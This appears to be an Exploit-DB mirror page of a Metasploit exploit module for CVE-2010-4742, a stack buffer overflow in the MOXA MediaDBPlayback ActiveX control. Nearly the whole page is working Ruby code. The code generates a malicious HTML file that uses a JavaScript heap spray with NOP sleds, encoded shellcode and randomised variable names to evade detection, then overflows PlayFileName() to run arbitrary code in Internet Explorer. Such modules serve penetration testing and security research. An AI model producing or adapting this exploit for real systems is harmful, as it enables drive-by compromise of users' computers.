MOXA MediaDBPlayback – ActiveX Control Buffer Overflow (Metasploit)

  • 作者: Metasploit
    日期: 2010-11-05
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16685/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    
    class MetasploitModule < Msf::Exploit::Remote
    
    Rank = AverageRanking
    
    include Msf::Exploit::FILEFORMAT
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'MOXA MediaDBPlayback ActiveX Control Buffer Overflow',
    'Description'=> %q{
    This module exploits a stack buffer overflow in MOXA_ActiveX_SDK. When
    sending an overly long string to the PlayFileName() of MediaDBPlayback.DLL (2.2.0.5)
    an attacker may be able to execute arbitrary code.
    },
    'License'=> MSF_LICENSE,
    'Author' => [ 'MC' ],
    'References' =>
    [
    [ 'CVE', '2010-4742' ],
    [ 'OSVDB', '68986'],
    [ 'URL', 'http://www.moxa.com' ],
    ],
    'DefaultOptions' =>
    {
    'EXITFUNC' => 'process',
    'DisablePayloadHandler' => 'true',
    },
    'Payload'=>
    {
    'Space' => 1024,
    'BadChars'=> "\x00",
    },
    'Platform' => 'win',
    'Targets'=>
    [
    [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0a0a0a0a } ]
    ],
    'DisclosureDate' => 'Oct 19 2010',
    'DefaultTarget'=> 0))
    
    register_options(
    [
    OptString.new('FILENAME', [ false, 'The file name.','msf.html']),
    ], self.class)
    end
    
    def exploit
    # Encode the shellcode.
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
    
    # Create some nops.
    nops= Rex::Text.to_unescape(make_nops(4))
    
    # Set the return.
    ret = Rex::Text.uri_encode([target.ret].pack('L'))
    
    # Randomize the javascript variable names.
    vname= rand_text_alpha(rand(100) + 1)
    var_i= rand_text_alpha(rand(30)+ 2)
    rand1= rand_text_alpha(rand(100) + 1)
    rand2= rand_text_alpha(rand(100) + 1)
    rand3= rand_text_alpha(rand(100) + 1)
    rand4= rand_text_alpha(rand(100) + 1)
    rand5= rand_text_alpha(rand(100) + 1)
    rand6= rand_text_alpha(rand(100) + 1)
    rand7= rand_text_alpha(rand(100) + 1)
    rand8= rand_text_alpha(rand(100) + 1)
    
    content = %Q|
    <html>
    <object id ='#{vname}' classid='clsid:5B32067A-121B-49DE-8182-91EB13DDF8D6'></object>
    <script language ="javascript">
    var #{rand1} = unescape('#{shellcode}');
    var #{rand2} = unescape('#{nops}');
    var #{rand3} = 20;
    var #{rand4} = #{rand3} + #{rand1}.length;
    while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
    var #{rand5} = #{rand2}.substring(0,#{rand4});
    var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
    while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
    var #{rand7} = new Array();
    for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
    var #{rand8} = "";
    for (#{var_i} = 0; #{var_i} < 14500; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
    #{vname}.PlayFileName = #{rand8};
    </script>
    </html>
    |
    
    print_status("Creating '#{datastore['FILENAME']}' file ...")
    
    file_create(content)
    end
    
    end